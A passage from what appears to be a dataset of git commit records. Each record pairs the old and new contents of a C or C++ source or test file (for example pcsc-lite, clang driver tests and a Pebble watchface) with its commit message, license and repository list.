PHP_AMF_WORLD_EXTNAME \"amf\"\r\n\r\nPHP_FUNCTION(amf_encode);\r\nPHP_FUNCTION(amf_decode);\r\n\r\nextern zend_module_entry amf_module_entry;\r\n#define phpext_amf_ptr &amf_module_entry\r\n\r\n#endif\r\n","subject":"Add license comment to the header file.","message":"Add license comment to the header file.\n","lang":"C","license":"apache-2.0","repos":"emilkm\/amfext,emilkm\/amfext,emilkm\/amfext,emilkm\/amfext"}
{"commit":"d952bf54fe5be958b735a3285a3f153b362aace1","old_file":"EVGEN\/EVGENLinkDef.h","new_file":"EVGEN\/EVGENLinkDef.h","old_contents":"#ifdef __CINT__\n\/* Copyright(c) 1998-1999, ALICE Experiment at CERN, All rights reserved. *\n * See cxx source for full Copyright notice                               *\/\n\n\/* $Id$ *\/\n\n#pragma link off all globals;\n#pragma link off all classes;\n#pragma link off all functions;\n\n#pragma link C++ enum   Process_t;\n#pragma link C++ enum   Decay_t;\n#pragma link C++ enum   StrucFunc_t;\n#pragma link C++ enum   Param_t;\n\n#pragma link C++ class  AliGenHIJINGpara;\n#pragma link C++ class  AliGenFixed;\n#pragma link C++ class  AliGenBox;\n#pragma link C++ class  AliGenParam;\n#pragma link C++ class  AliGenPythia;\n#pragma link C++ class  AliGenCocktail-;\n#pragma link C++ class  AliGenCocktailEntry;\n#pragma link C++ class  AliGenExtFile;\n#pragma link C++ class  AliGenScan;\n#pragma link C++ class  AliPythia;\n#pragma link C++ class  AliGenMUONlib;\n#pragma link C++ class  AliGenFLUKAsource;\n#pragma link C++ class  AliGenHalo;\n#pragma link C++ class  AliDimuCombinator;\n#endif\n\n\n\n\n\n\n","new_contents":"#ifdef __CINT__\n\/* Copyright(c) 1998-1999, ALICE Experiment at CERN, All rights reserved. *\n * See cxx source for full Copyright notice                               *\/\n\n\/* $Id$ *\/\n\n#pragma link off all globals;\n#pragma link off all classes;\n#pragma link off all functions;\n\n#pragma link C++ enum   Process_t;\n#pragma link C++ enum   Decay_t;\n#pragma link C++ enum   StrucFunc_t;\n#pragma link C++ enum   Param_t;\n#pragma link C++ enum   Weighting_t;\n\n#pragma link C++ class  AliGenHIJINGpara;\n#pragma link C++ class  AliGenFixed;\n#pragma link C++ class  AliGenBox;\n#pragma link C++ class  AliGenParam;\n#pragma link C++ class  AliGenPythia;\n#pragma link C++ class  AliGenCocktail-;\n#pragma link C++ class  AliGenCocktailEntry;\n#pragma link C++ class  AliGenExtFile;\n#pragma link C++ class  AliGenScan;\n#pragma link C++ class  AliPythia;\n#pragma link C++ class  AliGenMUONlib;\n#pragma link C++ class  AliGenFLUKAsource;\n#pragma link C++ class  AliGenHalo;\n#pragma link C++ class  AliDimuCombinator;\n#endif\n\n\n\n\n\n\n","subject":"Add Weighting_t in the LinkDef","message":"Add Weighting_t in the LinkDef\n\n","lang":"C","license":"bsd-3-clause","repos":"shahor02\/AliRoot,mkrzewic\/AliRoot,mkrzewic\/AliRoot,mkrzewic\/AliRoot,sebaleh\/AliRoot,miranov25\/AliRoot,ALICEHLT\/AliRoot,shahor02\/AliRoot,ecalvovi\/AliRoot,ecalvovi\/AliRoot,alisw\/AliRoot,mkrzewic\/AliRoot,sebaleh\/AliRoot,alisw\/AliRoot,miranov25\/AliRoot,sebaleh\/AliRoot,coppedis\/AliRoot,miranov25\/AliRoot,coppedis\/AliRoot,jgrosseo\/AliRoot,sebaleh\/AliRoot,miranov25\/AliRoot,ALICEHLT\/AliRoot,miranov25\/AliRoot,ecalvovi\/AliRoot,ALICEHLT\/AliRoot,shahor02\/AliRoot,shahor02\/AliRoot,ALICEHLT\/AliRoot,miranov25\/AliRoot,alisw\/AliRoot,sebaleh\/AliRoot,coppedis\/AliRoot,jgrosseo\/AliRoot,shahor02\/AliRoot,jgrosseo\/AliRoot,jgrosseo\/AliRoot,alisw\/AliRoot,mkrzewic\/AliRoot,ecalvovi\/AliRoot,miranov25\/AliRoot,alisw\/AliRoot,ecalvovi\/AliRoot,coppedis\/AliRoot,sebaleh\/AliRoot,ALICEHLT\/AliRoot,alisw\/AliRoot,coppedis\/AliRoot,alisw\/AliRoot,alisw\/AliRoot,coppedis\/AliRoot,coppedis\/AliRoot,ecalvovi\/AliRoot,mkrzewic\/AliRoot,ALICEHLT\/AliRoot,mkrzewic\/AliRoot,ecalvovi\/AliRoot,jgrosseo\/AliRoot,jgrosseo\/AliRoot,coppedis\/AliRoot,miranov25\/AliRoot,ALICEHLT\/AliRoot,shahor02\/AliRoot,jgrosseo\/AliRoot,shahor02\/AliRoot,sebaleh\/AliRoot"}
{"commit":"f18cd042b17d28811ae308c0c7b9e4b20d2068e9","old_file":"Expecta\/EXPDefines.h","new_file":"Expecta\/EXPDefines.h","old_contents":"\/\/\n\/\/  EXPDefines.h\n\/\/  Expecta\n\/\/\n\/\/  Created by Luke Redpath on 26\/03\/2012.\n\/\/  Copyright (c) 2012 Peter Jihoon Kim. All rights reserved.\n\/\/\n\n#ifndef Expecta_EXPDefines_h\n#define Expecta_EXPDefines_h\n\ntypedef void (^EXPBasicBlock)();\ntypedef id (^EXPIdBlock)();\ntypedef BOOL (^EXPBoolBlock)();\ntypedef NSString *(^EXPStringBlock)();\n\n#endif\n","new_contents":"\/\/\n\/\/  EXPDefines.h\n\/\/  Expecta\n\/\/\n\/\/  Created by Luke Redpath on 26\/03\/2012.\n\/\/  Copyright (c) 2012 Peter Jihoon Kim. All rights reserved.\n\/\/\n\n#ifndef Expecta_EXPDefines_h\n#define Expecta_EXPDefines_h\n\ntypedef void (^EXPBasicBlock)(void);\ntypedef id (^EXPIdBlock)(void);\ntypedef BOOL (^EXPBoolBlock)(void);\ntypedef NSString *(^EXPStringBlock)(void);\n\n#endif\n","subject":"Fix warning ‘This function declaration is not a prototype’","message":"Fix warning ‘This function declaration is not a prototype’\n","lang":"C","license":"mit","repos":"specta\/expecta"}
{"commit":"6c4824bd141e06780af1ea4700046689af4edfb2","old_file":"src\/hotplug_generic.c","new_file":"src\/hotplug_generic.c","old_contents":"\/*\n * MUSCLE SmartCard Development ( http:\/\/www.linuxnet.com )\n *\n * Copyright (C) 2000-2003\n *  David Corcoran <corcoran@linuxnet.com>\n *\n * $Id$\n *\/\n\n\/**\n * @file\n * @brief This provides a search API for hot pluggble devices.\n *\n * Check for platforms that have their own specific support.\n * It's easier and flexible to do it here, rather than\n * with automake conditionals in src\/Makefile.am.\n * No, it's still not a perfect solution design wise.\n *\/\n\n#include \"config.h\"\n#include \"pcsclite.h\"\n\n#if !defined(__APPLE__) && !defined(HAVE_LIBUSB) && !defined(__linux__)\n\nLONG HPSearchHotPluggables(void)\n{\n\treturn 0;\n}\n\nULONG HPRegisterForHotplugEvents(void)\n{\n\treturn 0;\n}\n\nLONG HPStopHotPluggables(void)\n{\n\treturn 0;\n}\n\n#endif\n","new_contents":"\/*\n * MUSCLE SmartCard Development ( http:\/\/www.linuxnet.com )\n *\n * Copyright (C) 2000-2003\n *  David Corcoran <corcoran@linuxnet.com>\n *\n * $Id$\n *\/\n\n\/**\n * @file\n * @brief This provides a search API for hot pluggble devices.\n *\n * Check for platforms that have their own specific support.\n * It's easier and flexible to do it here, rather than\n * with automake conditionals in src\/Makefile.am.\n * No, it's still not a perfect solution design wise.\n *\/\n\n#include \"config.h\"\n#include \"pcsclite.h\"\n\n#ifndef TRUE\n#define TRUE 1\n#define FALSE 0\n#endif\n\n#if !defined(__APPLE__) && !defined(HAVE_LIBUSB) && !defined(__linux__)\n\nchar ReCheckSerialReaders = FALSE;\n\nLONG HPSearchHotPluggables(void)\n{\n\treturn 0;\n}\n\nULONG HPRegisterForHotplugEvents(void)\n{\n\treturn 0;\n}\n\nLONG HPStopHotPluggables(void)\n{\n\treturn 0;\n}\n\nvoid HPReCheckSerialReaders(void)\n{\n\tReCheckSerialReaders = TRUE;\n}\n\n#endif\n","subject":"Add missing ReCheckSerialReaders and HPReCheckSerialReaders() so pcsc-lite can compile on FreeBSD and others","message":"Add missing ReCheckSerialReaders and HPReCheckSerialReaders() so\npcsc-lite can compile on FreeBSD and others\n\n\ngit-svn-id: f2d781e409b7e36a714fc884bb9b2fc5091ddd28@1786 0ce88b0d-b2fd-0310-8134-9614164e65ea\n","lang":"C","license":"bsd-3-clause","repos":"vicamo\/pcsc-lite-android,vicamo\/pcsc-lite-android,vicamo\/pcsc-lite-android,vicamo\/pcsc-lite-android,vicamo\/pcsc-lite-android"}
{"commit":"edb65bb8be45202ec4b1b0dbaeb4cbe0b50e1553","old_file":"src\/modules\/comm.c","new_file":"src\/modules\/comm.c","old_contents":"#include \"comm.h\"\n\nstatic void inbox_received_handler(DictionaryIterator *iter, void *context) {\n#if defined(PBL_COLOR)\n  Tuple *background_t = dict_find(iter, AppKeyColorBackground);\n  if(background_t) {\n    data_set_color(ColorBackground, (GColor){ .argb = background_t->value->int32 });\n  }\n\n  Tuple *sides_t = dict_find(iter, AppKeyColorSides);\n  if(sides_t) {\n    data_set_color(ColorSides, (GColor){ .argb = sides_t->value->int32 });\n  }\n\n  Tuple *face_t = dict_find(iter, AppKeyColorFace);\n  if(face_t) {\n    data_set_color(ColorFace, (GColor){ .argb = face_t->value->int32 });\n  }\n#endif\n\n  \/\/ Other settings\n  Tuple *anim_t = dict_find(iter, AppKeyAnimations);\n  if(anim_t) {\n    data_set_animations(anim_t->value->int32 == 1);\n  }\n\n  Tuple *bluetooth_t = dict_find(iter, AppKeyBluetooth);\n  if(bluetooth_t) {\n    data_set_bluetooth_alert(bluetooth_t->value->int32 == 1);\n  }\n\n  \/\/ Quit to be reloaded\n  window_stack_pop_all(true);\n}\n\nvoid comm_init(int inbox, int outbox) {\n  app_message_register_inbox_received(inbox_received_handler);\n  app_message_open(inbox, outbox);\n}\n","new_contents":"#include \"comm.h\"\n\nstatic void inbox_received_handler(DictionaryIterator *iter, void *context) {\n#if defined(PBL_COLOR)\n  Tuple *background_t = dict_find(iter, AppKeyColorBackground);\n  if(background_t) {\n    data_set_color(ColorBackground, (GColor){ .argb = background_t->value->int8 });\n  }\n\n  Tuple *sides_t = dict_find(iter, AppKeyColorSides);\n  if(sides_t) {\n    data_set_color(ColorSides, (GColor){ .argb = sides_t->value->int8 });\n  }\n\n  Tuple *face_t = dict_find(iter, AppKeyColorFace);\n  if(face_t) {\n    data_set_color(ColorFace, (GColor){ .argb = face_t->value->int8 });\n  }\n#endif\n\n  \/\/ Other settings\n  Tuple *anim_t = dict_find(iter, AppKeyAnimations);\n  if(anim_t) {\n    data_set_animations(anim_t->value->int8 == 1);\n  }\n\n  Tuple *bluetooth_t = dict_find(iter, AppKeyBluetooth);\n  if(bluetooth_t) {\n    data_set_bluetooth_alert(bluetooth_t->value->int8 == 1);\n  }\n\n  \/\/ Quit to be reloaded\n  window_stack_pop_all(true);\n}\n\nvoid comm_init(int inbox, int outbox) {\n  app_message_register_inbox_received(inbox_received_handler);\n  app_message_open(inbox, outbox);\n}\n","subject":"Use more reliable union value","message":"Use more reliable union value\n","lang":"C","license":"mit","repos":"C-D-Lewis\/isotime-appstore,C-D-Lewis\/isotime-appstore,C-D-Lewis\/isotime-appstore,C-D-Lewis\/isotime-appstore"}
{"commit":"ae9ca499447425d2c98e0d1189b3be7bccbfe441","old_file":"src\/search\/state.h","new_file":"src\/search\/state.h","old_contents":"\/* -*- mode:linux -*- *\/\n\/**\n * \\file state.h\n *\n *\n *\n * \\author Ethan Burns\n * \\date 2008-10-08\n *\/\n#if !defined(_STATE_H_)\n#define _STATE_H_\n\n#include <iostream>\n#include <vector>\n\n#include \"search_domain.h\"\n\nusing namespace std;\n\nclass State {\npublic:\n\tState(const SearchDomain *d, const State *parent, int g);\n\n\tvirtual int hash(void) const = 0;\n\tvirtual bool is_goal(void) const = 0;\n\tvirtual State *clone(void) const = 0;\n\tvirtual void print(ostream &o) const = 0;\n\n\tvirtual vector<const State*> *expand(void) const;\n\n\tvirtual int get_g(void) const;\n\tvirtual int get_h(void) const;\n\tvirtual void set_parent(const State *);\n\tvirtual const State *get_parent(void) const;\nprotected:\n\tconst State *parent;\n\tconst SearchDomain *domain;\n\tint g;\n\tint h;\n};\n\n#endif\t\/* !_STATE_H_ *\/\n","new_contents":"\/* -*- mode:linux -*- *\/\n\/**\n * \\file state.h\n *\n *\n *\n * \\author Ethan Burns\n * \\date 2008-10-08\n *\/\n#if !defined(_STATE_H_)\n#define _STATE_H_\n\n#include <iostream>\n#include <vector>\n\n#include \"search_domain.h\"\n\nusing namespace std;\n\nclass State {\npublic:\n\tState(const SearchDomain *d, const State *parent, int g);\n\n\tvirtual int hash(void) const = 0;\n\tvirtual bool is_goal(void) const = 0;\n\tvirtual State *clone(void) const = 0;\n\tvirtual void print(ostream &o) const = 0;\n\n\tvirtual vector<const State*> *expand(void) const;\n\n\tvirtual int get_g(void) const;\n\tvirtual int get_h(void) const;\n\tvirtual void set_parent(const State *);\n\tvirtual const State *get_parent(void) const;\nprotected:\n\tconst State *parent;\n\tconst SearchDomain *domain;\n\tfloat g;\n\tfloat h;\n};\n\n#endif\t\/* !_STATE_H_ *\/\n","subject":"Use floats for cost and heuristic values.","message":"Use floats for cost and heuristic values.\n","lang":"C","license":"mit","repos":"eaburns\/pbnf,eaburns\/pbnf,eaburns\/pbnf,eaburns\/pbnf"}
{"commit":"eff9073790e1286aa12bf1c65814d3e0132b12e1","old_file":"arch\/x86\/include\/asm\/numa_32.h","new_file":"arch\/x86\/include\/asm\/numa_32.h","old_contents":"#ifndef _ASM_X86_NUMA_32_H\n#define _ASM_X86_NUMA_32_H\n\nextern int numa_off;\n\nextern int pxm_to_nid(int pxm);\n\n#ifdef CONFIG_NUMA\nextern int __cpuinit numa_cpu_node(int apicid);\n#else\t\/* CONFIG_NUMA *\/\nstatic inline int numa_cpu_node(int cpu)\t\t{ return NUMA_NO_NODE; }\n#endif\t\/* CONFIG_NUMA *\/\n\n#ifdef CONFIG_HIGHMEM\nextern void set_highmem_pages_init(void);\n#else\nstatic inline void set_highmem_pages_init(void)\n{\n}\n#endif\n\n#endif \/* _ASM_X86_NUMA_32_H *\/\n","new_contents":"#ifndef _ASM_X86_NUMA_32_H\n#define _ASM_X86_NUMA_32_H\n\nextern int numa_off;\n\nextern int pxm_to_nid(int pxm);\n\n#ifdef CONFIG_NUMA\nextern int __cpuinit numa_cpu_node(int cpu);\n#else\t\/* CONFIG_NUMA *\/\nstatic inline int numa_cpu_node(int cpu)\t\t{ return NUMA_NO_NODE; }\n#endif\t\/* CONFIG_NUMA *\/\n\n#ifdef CONFIG_HIGHMEM\nextern void set_highmem_pages_init(void);\n#else\nstatic inline void set_highmem_pages_init(void)\n{\n}\n#endif\n\n#endif \/* _ASM_X86_NUMA_32_H *\/\n","subject":"Rename incorrectly named parameter of numa_cpu_node()","message":"x86: Rename incorrectly named parameter of numa_cpu_node()\n\nnuma_cpu_node() prototype in numa_32.h has wrongly named\nparameter @apicid when it actually takes the CPU number.\n\nChange it to @cpu.\n\nReported-by: Yinghai Lu <0674548f4d596393408a51d6287a76ebba2f42aa@kernel.org>\nSigned-off-by: Tejun Heo <546b05909706652891a87f7bfe385ae147f61f91@kernel.org>\nLKML-Reference: <f632a7ad4ac6ff59d2c90454ea4e3c237f8c7a30@htj.dyndns.org>\nSigned-off-by: Ingo Molnar <9dbbbf0688fedc85ad4da37637f1a64b8c718ee2@elte.hu>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas"}
{"commit":"b3a9eabe635e4440a85803b4a861853b7f04aacf","old_file":"src\/fclaw2d_forestclaw.c","new_file":"src\/fclaw2d_forestclaw.c","old_contents":"","new_contents":"\/*\nCopyright (c) 2012 Carsten Burstedde, Donna Calhoun\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n\n * Redistributions of source code must retain the above copyright notice, this\nlist of conditions and the following disclaimer.\n * Redistributions in binary form must reproduce the above copyright notice,\nthis list of conditions and the following disclaimer in the documentation\nand\/or other materials provided with the distribution.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\nANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\nWARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\nDISCLAIMED.  IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE\nFOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\nDAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\nSERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\nCAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\nOR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\nOF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n*\/\n\n#include <fclaw2d_forestclaw.h>\n\n\nvoid fclaw2d_after_regrid(fclaw2d_domain_t *domain)\n{\n    if (fclaw2d_vt()->after_regrid != NULL)\n    {\n        fclaw2d_vt()->after_regrid(domain);\n    }\n}\n\nvoid fclaw2d_problem_setup(fclaw2d_domain_t *domain)\n{\n    \/* User defined problem setup *\/\n    if (fclaw2d_vt()->problem_setup != NULL)\n    {\n        fclaw2d_vt()->problem_setup(domain);\n    }\n}\n","subject":"Add function wrappers for forestclaw.c","message":"Add function wrappers for forestclaw.c\n","lang":"C","license":"bsd-2-clause","repos":"ForestClaw\/forestclaw,ForestClaw\/forestclaw,ForestClaw\/forestclaw,ForestClaw\/forestclaw,ForestClaw\/forestclaw,ForestClaw\/forestclaw"}
{"commit":"23a5b06f405219d8ea93d4d8d2ca0666d4b1105a","old_file":"test\/Driver\/show-option-names.c","new_file":"test\/Driver\/show-option-names.c","old_contents":"\/\/ RUN: %clang -c -isysroot \/FOO %s 2>&1 | FileCheck --check-prefix=CHECK-SHOW-OPTION-NAMES %s\n\/\/ CHECK-SHOW-OPTION-NAMES: warning: no such sysroot directory: '{{([A-Za-z]:.*)?}}\/FOO' [-Wmissing-sysroot]\n\n\/\/ RUN: %clang -c -fno-diagnostics-show-option -isysroot \/FOO %s 2>&1 | FileCheck --check-prefix=CHECK-NO-SHOW-OPTION-NAMES %s\n\/\/ CHECK-NO-SHOW-OPTION-NAMES: warning: no such sysroot directory: '{{([A-Za-z]:.*)?}}\/FOO'{{$}}\n","new_contents":"\/\/ REQUIRES: x86-registered-target\n\n\/\/ RUN: %clang -target x86_64-apple-darwin -c -isysroot \/FOO %s 2>&1 | FileCheck --check-prefix=CHECK-SHOW-OPTION-NAMES %s\n\/\/ CHECK-SHOW-OPTION-NAMES: warning: no such sysroot directory: '{{([A-Za-z]:.*)?}}\/FOO' [-Wmissing-sysroot]\n\n\/\/ RUN: %clang -target x86_64-apple-darwin -c -fno-diagnostics-show-option -isysroot \/FOO %s 2>&1 | FileCheck --check-prefix=CHECK-NO-SHOW-OPTION-NAMES %s\n\/\/ CHECK-NO-SHOW-OPTION-NAMES: warning: no such sysroot directory: '{{([A-Za-z]:.*)?}}\/FOO'{{$}}\n","subject":"Fix test from r283913 to unbreak bots","message":"[Driver] Fix test from r283913 to unbreak bots\n\nFollowup from r283913 & r283827\n\nhttp:\/\/bb.pgr.jp\/builders\/cmake-clang-x86_64-linux\/builds\/55135\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@283915 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"95c629782a429452c0cef4151a499ea1ce8786ca","old_file":"core\/pubnub_version_internal.h","new_file":"core\/pubnub_version_internal.h","old_contents":"","new_contents":"\/* -*- c-file-style:\"stroustrup\"; indent-tabs-mode: nil -*- *\/\n#if !defined INC_PUBNUB_VERSION_INTERNAL\n#define INC_PUBNUB_VERSION_INTERNAL\n\n\n#define PUBNUB_SDK_VERSION \"2.2.11\"\n\n\n\n#endif \/* !defined INC_PUBNUB_VERSION_INTERNAL *\/\n","subject":"Add internal\/common version (number) header file.","message":"Add internal\/common version (number) header file.\n","lang":"C","license":"mit","repos":"pubnub\/c-core,pubnub\/c-core,pubnub\/c-core,pubnub\/c-core"}
{"commit":"be6318b2f02e14a1b717d30691351e8415e246c1","old_file":"test\/Driver\/tsan.c","new_file":"test\/Driver\/tsan.c","old_contents":"\/\/ RUN: %clang     -target i386-unknown-unknown -fthread-sanitizer %s -S -emit-llvm -o - | FileCheck %s\n\/\/ RUN: %clang -O1 -target i386-unknown-unknown -fthread-sanitizer %s -S -emit-llvm -o - | FileCheck %s\n\/\/ RUN: %clang -O2 -target i386-unknown-unknown -fthread-sanitizer %s -S -emit-llvm -o - | FileCheck %s\n\/\/ RUN: %clang -O3 -target i386-unknown-unknown -fthread-sanitizer %s -S -emit-llvm -o - | FileCheck %s\n\/\/ RUN: %clang     -target i386-unknown-unknown -fsanitize=thread  %s -S -emit-llvm -o - | FileCheck %s\n\/\/ Verify that -fthread-sanitizer invokes tsan instrumentation.\n\nint foo(int *a) { return *a; }\n\/\/ CHECK: __tsan_init\n","new_contents":"\/\/ RUN: %clang     -target i386-unknown-unknown -fsanitize=thread %s -S -emit-llvm -o - | FileCheck %s\n\/\/ RUN: %clang -O1 -target i386-unknown-unknown -fsanitize=thread %s -S -emit-llvm -o - | FileCheck %s\n\/\/ RUN: %clang -O2 -target i386-unknown-unknown -fsanitize=thread %s -S -emit-llvm -o - | FileCheck %s\n\/\/ RUN: %clang -O3 -target i386-unknown-unknown -fsanitize=thread %s -S -emit-llvm -o - | FileCheck %s\n\/\/ RUN: %clang     -target i386-unknown-unknown -fsanitize=thread  %s -S -emit-llvm -o - | FileCheck %s\n\/\/ Verify that -fsanitize=thread invokes tsan instrumentation.\n\nint foo(int *a) { return *a; }\n\/\/ CHECK: __tsan_init\n","subject":"Use the -fsanitize=thread flag to unbreak buildbot.","message":"Use the -fsanitize=thread flag to unbreak buildbot.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@167472 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"8166b9fe84e0dc3c8877366b58a9286b0258172f","old_file":"src\/modules\/illume-keyboard\/e_mod_main.c","new_file":"src\/modules\/illume-keyboard\/e_mod_main.c","old_contents":"#include \"e.h\"\n#include \"e_mod_main.h\"\n#include \"e_mod_config.h\"\n#include \"e_kbd_int.h\"\n\n\/* local variables *\/\nstatic E_Kbd_Int *ki = NULL;\n\nEAPI E_Module_Api e_modapi = { E_MODULE_API_VERSION, \"Illume Keyboard\" };\n\nEAPI void *\ne_modapi_init(E_Module *m) \n{\n   if (!il_kbd_config_init(m)) return NULL;\n\n   ki = e_kbd_int_new(mod_dir, mod_dir, mod_dir);\n\n   return m;\n}\n\nEAPI int \ne_modapi_shutdown(E_Module *m) \n{\n   if (ki) \n     {\n        e_kbd_int_free(ki);\n        ki = NULL;\n     }\n   il_kbd_config_shutdown();\n   return 1;\n}\n\nEAPI int \ne_modapi_save(E_Module *m) \n{\n   return il_kbd_config_save();\n}\n","new_contents":"#include \"e.h\"\n#include \"e_mod_main.h\"\n#include \"e_mod_config.h\"\n#include \"e_kbd_int.h\"\n\n\/* local variables *\/\nstatic E_Kbd_Int *ki = NULL;\n\nEAPI E_Module_Api e_modapi = { E_MODULE_API_VERSION, \"Illume Keyboard\" };\n\nEAPI void *\ne_modapi_init(E_Module *m) \n{\n   if (!il_kbd_config_init(m)) return NULL;\n\n   ki = e_kbd_int_new(il_kbd_cfg->mod_dir, \n                      il_kbd_cfg->mod_dir, il_kbd_cfg->mod_dir);\n\n   return m;\n}\n\nEAPI int \ne_modapi_shutdown(E_Module *m) \n{\n   if (ki) \n     {\n        e_kbd_int_free(ki);\n        ki = NULL;\n     }\n   il_kbd_config_shutdown();\n   return 1;\n}\n\nEAPI int \ne_modapi_save(E_Module *m) \n{\n   return il_kbd_config_save();\n}\n","subject":"Use correct module directory when making keyboard. Previous commit fixed compiler warnings also.","message":"Use correct module directory when making keyboard.\nPrevious commit fixed compiler warnings also.\n\n\n\nSVN revision: 43875\n","lang":"C","license":"bsd-2-clause","repos":"FlorentRevest\/Enlightenment,tizenorg\/platform.upstream.enlightenment,rvandegrift\/e,FlorentRevest\/Enlightenment,tizenorg\/platform.upstream.enlightenment,tasn\/enlightenment,rvandegrift\/e,tizenorg\/platform.upstream.enlightenment,tasn\/enlightenment,tasn\/enlightenment,rvandegrift\/e,FlorentRevest\/Enlightenment"}
{"commit":"c74e3fa443e193afb5274b672eccd58d2d7cff28","old_file":"test\/test_rtp.c","new_file":"test\/test_rtp.c","old_contents":"#include \"rtp\/kms-rtp-endpoint.h\"\n#include <glib.h>\n\n#define LOCALNAME \"kms\/rtp\/1\"\n\nstatic KmsEndpoint*\ncreate_endpoint() {\n\tKmsEndpoint *ep;\n\tgchar *name;\n\n\tname = g_strdup_printf(LOCALNAME);\n\n\tep = g_object_new(KMS_TYPE_RTP_ENDPOINT, \"localname\", name, NULL);\n\n\tg_free(name);\n\treturn ep;\n}\n\nstatic void\ncheck_endpoint(KmsEndpoint *ep) {\n\tgchar *name;\n\n\tg_object_get(ep, \"localname\", &name, NULL);\n\n\tg_assert(g_strcmp0(name, LOCALNAME) == 0);\n\n\tg_free(name);\n}\n\ngint\nmain(gint argc, gchar **argv) {\n\tKmsEndpoint *ep;\n\n\tg_type_init();\n\n\tep = create_endpoint();\n\tcheck_endpoint(ep);\n\n\tg_object_unref(ep);\n\n\treturn 0;\n}\n","new_contents":"#include \"rtp\/kms-rtp-endpoint.h\"\n#include <glib.h>\n\n#define LOCALNAME \"kms\/rtp\/1\"\n\nstatic KmsEndpoint*\ncreate_endpoint() {\n\tKmsEndpoint *ep;\n\tgchar *name;\n\n\tname = g_strdup_printf(LOCALNAME);\n\n\tep = g_object_new(KMS_TYPE_RTP_ENDPOINT, \"localname\", name, NULL);\n\n\tg_free(name);\n\treturn ep;\n}\n\nstatic void\ncheck_endpoint(KmsEndpoint *ep) {\n\tgchar *name;\n\n\tg_object_get(ep, \"localname\", &name, NULL);\n\n\tg_assert(g_strcmp0(name, LOCALNAME) == 0);\n\n\tg_free(name);\n}\n\ngint\nmain(gint argc, gchar **argv) {\n\tKmsEndpoint *ep;\n\tKmsConnection *conn;\n\n\tg_type_init();\n\n\tep = create_endpoint();\n\tcheck_endpoint(ep);\n\n\tconn = kms_endpoint_create_connection(ep, KMS_CONNECTION_TYPE_RTP,\n\t\t\t\t\t\t\t\t\tNULL);\n\tkms_endpoint_delete_connection(ep, conn, NULL);\n\tg_object_unref(conn);\n\n\tcheck_endpoint(ep);\n\n\tg_object_unref(ep);\n\n\treturn 0;\n}\n","subject":"Create and delete rtp connections","message":"Create and delete rtp connections\n","lang":"C","license":"lgpl-2.1","repos":"mparis\/kurento-media-server,mparis\/kurento-media-server,lulufei\/kurento-media-server,shelsonjava\/kurento-media-server,Kurento\/kurento-media-server,todotobe1\/kurento-media-server,Kurento\/kurento-media-server,lulufei\/kurento-media-server,TribeMedia\/kurento-media-server,todotobe1\/kurento-media-server,TribeMedia\/kurento-media-server,shelsonjava\/kurento-media-server"}
{"commit":"e135d72967f8dfc5c5cebea4caaf3d7240f7493c","old_file":"ui\/reflectionview.h","new_file":"ui\/reflectionview.h","old_contents":"#pragma once\n\n#include <QtGui\/QMouseEvent>\n#include <QtGui\/QPaintEvent>\n#include <QtWidgets\/QWidget>\n\n#include \"binaryninjaapi.h\"\n#include \"dockhandler.h\"\n#include \"uitypes.h\"\n\nclass ContextMenuManager;\nclass DisassemblyContainer;\nclass Menu;\nclass ViewFrame;\n\nclass BINARYNINJAUIAPI ReflectionView: public QWidget, public DockContextHandler\n{\n\tQ_OBJECT\n\tQ_INTERFACES(DockContextHandler)\n\n\tViewFrame* m_frame;\n\tBinaryViewRef m_data;\n\tDisassemblyContainer* m_disassemblyContainer;\n\npublic:\n\tReflectionView(ViewFrame* frame, BinaryViewRef data);\n\t~ReflectionView();\n\n\tvirtual void notifyOffsetChanged(uint64_t offset) override;\n\tvirtual void notifyViewChanged(ViewFrame* frame) override;\n\tvirtual void notifyVisibilityChanged(bool visible) override;\n\tvirtual bool shouldBeVisible(ViewFrame* frame) 